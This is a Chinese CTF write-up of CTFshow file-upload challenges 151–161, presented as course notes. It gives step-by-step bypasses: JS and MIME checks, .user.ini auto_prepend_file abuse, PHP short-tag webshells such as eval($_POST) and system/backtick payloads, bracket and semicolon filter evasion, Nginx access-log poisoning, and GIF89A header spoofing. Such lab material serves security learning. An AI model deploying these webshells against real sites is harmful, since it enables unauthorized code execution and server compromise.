小迪安全-Web攻防-文件上传-JS验证&mime&user.ini&语言特性

weixin_43809272 2024-09-20 12:03:04 阅读 80

一、知识点

1、文件上传-前端验证

2、文件上传-黑白名单

3、文件上传-user.ini妙用

4、文件上传-PHP语言特性

二、详细点

1、检测层面:前端,后端

前置:后门代码需要用特定格式后缀解析,不能以图片后缀解析解析脚本后门代码(解析漏洞除外)

如:JPG图片里面有PHP后门代码,不能被触发,所以连接不上后门

2、检测内容:文件头,完整性,二次渲染等

3、检测后缀:黑名单,白名单,MIMEE检测等

4、绕过技巧:多后缀解析,截断,中间件特性,条件竞争等

三、演示案例

1、CTFshow-151

前端过滤–直接修改前端允许上传的类型绕过

利用插件hackbar,或者webshell工具(哥斯拉,蚁剑等)

2、CTFshow-152

前后端同时过滤:JS验证+MIME

1)修改前端代码允许php文件上传

2)BP抓包修改content-type为image/png绕过

3、CTFshow-153

前后端过滤同时严格过滤参数:JS验证+.user.ini

1)上传.user.ini配置文件:auto_prepend_file=1.png

2)上传写有webshell的文件(可以为txt也可以为png)

1.png:"PHP一句话木马"

3)访问index.php即可反弹shell

补充知识:.user.ini

除了PHP_INI_SYSTEM以外的模式都是可以通过.user.ini来设置的。在修改了.user.ini后,不需要重启服务器中间件,只需要等待user_ini.cache_ttl所设置的时间(默认为300秒),即可被重新加载。

.user.ini实际上就是一个可以由用户“自定义”的php.ini,我们能够自定义的设置是模式为“PHP_INI_PERDIR、 PHP_INI_USER”的设置。

其中有两个配置,可以用来制造后门:

auto_append_file; 指定一个文件,自动包含在要执行的文件前。

auto_prepend_file; 指定一个文件,自动包含在要执行的文件后。

使用方法很简单,直接写在.user.ini中:

auto_prepend_file=1.png

或者

auto_append_file=1.png

4、CTFshow-154,155

JS验证+.user.ini+短标签

1)上传.user.ini文件:auto_prepend_file = 1.png

2)上传木马文件1.png:"PHP一句话木马" (No)

3)删减进行过滤内容确定,最终确定为过滤掉了

选择PHP代码执行的等价格式: <?=eval($_POST[x]);?>(YES)

4)访问index.php,即可反弹shell。

# 等价为PHP代码 <?php phpinfo();?> 的代码执行格式

# PHP短标签

<? echo '123';?> #前提是开启配置参数short_open_tags=on

<?=(表达式) ?> #不需要开启参数设置

<% echo '123';%> #前提是开启配置参数asp_tapgs=on

<script language="php">echo '1'; </script> #不需要修改参数开关

5、CTFshow-156

JS验证+user.ini+短标签+过滤

比对分析可知,过滤了[]

1)上传.user.ini文件:auto_prepend_file = 1.png

2)上传木马文件1.png: <?=eval($_POST[x]);?>(No)

3)1.png:<?=eval($_POST{0});?> (YES)

4)访问index.php,即可反弹shell。

5、CTFshow-157-159

JS验证+user.ini+短标签+过滤

157-158关:过滤了;

159关:过滤了()

1)上传.user.ini文件:auto_prepend_file = 1.png

2)上传木马文件1.png: <?=eval($_POST{x});?>(No)

3)157-158 ==> 1.png:<?=system('tac ../fl*')?> (YES)

159 ==> 1.png: <?=`tac ../fl*`?>(YES)

反引号运算符的效果与函数shell_exec(相同)

6、CTFshow-160

JS验证+user.ini+短标签+过滤

BP抓包发现使用的Nginx中间件,Nginx的日志路径为:/var/log/nginx

采用包含默认日志的方式进行绕过处理,日志中记录UA头信息,在UA头信息中写入后门代码,hackbar或者远程工具连接获取flag。

1)上传.user.ini文件:auto_prepend_file = 1.png

2)上传木马文件1.png: <?=`tac ../fl*`?>(No)

3)1.png:<?=include"/var/lo"."g/nginx/access.lo"."g"?> (YES)

4)BP抓包,在UA头信息中写入后门代码,利用工具获取flag

7、CTFshow-161

JS验证+user.ini+短标签+过滤

文件头部检测是否为图片格式文件

user ini:GIF89A auto_prepend_file=test.png

test.png:GIF89A <?=include"/var/lo"."g/nginx/access.lo"."g"?> (YES)



声明

本文内容仅代表作者观点,或转载于其他网站,本站不以此文作为商业用途
如有涉及侵权,请联系本站进行删除
转载本站原创文章,请注明来源及作者。